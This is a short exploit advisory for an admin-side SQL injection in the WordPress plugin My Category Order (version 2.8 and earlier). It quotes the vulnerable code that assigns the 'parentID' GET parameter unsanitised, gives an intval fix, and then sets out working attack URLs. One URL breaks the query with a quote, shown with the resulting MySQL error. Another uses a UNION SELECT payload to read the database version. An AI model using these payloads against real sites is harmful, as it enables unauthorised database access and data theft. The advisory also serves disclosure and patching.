###############################
# Source: WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability
# Download: http://wordpress.org/extend/plugins/my-category-order/
# No Dork
# Author: ManhLuat93 [at] hcegroup[dot]net
###############################

Errors appears only when you have admin control

Open mycategoryorder.php (Line 47-48):
if (isset($_GET['parentID']))
$parentID = $_GET['parentID'];

Fix:
if (isset($_GET['parentID']))
$parentID = intval($_GET['parentID']);


[+] Exploit [+]


http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0'&idString=3,5,4,1

MySQL Query Error:

WordPress database error:

 [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY term_order ASC' at line 1]
SELECT * FROM wp_terms t inner join wp_term_taxonomy tt on t.term_id = tt.term_id WHERE taxonomy = 'category' and parent = 0' ORDER BY term_order ASC



[+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11--&idString=3,5,4,1

[+] What do you see ?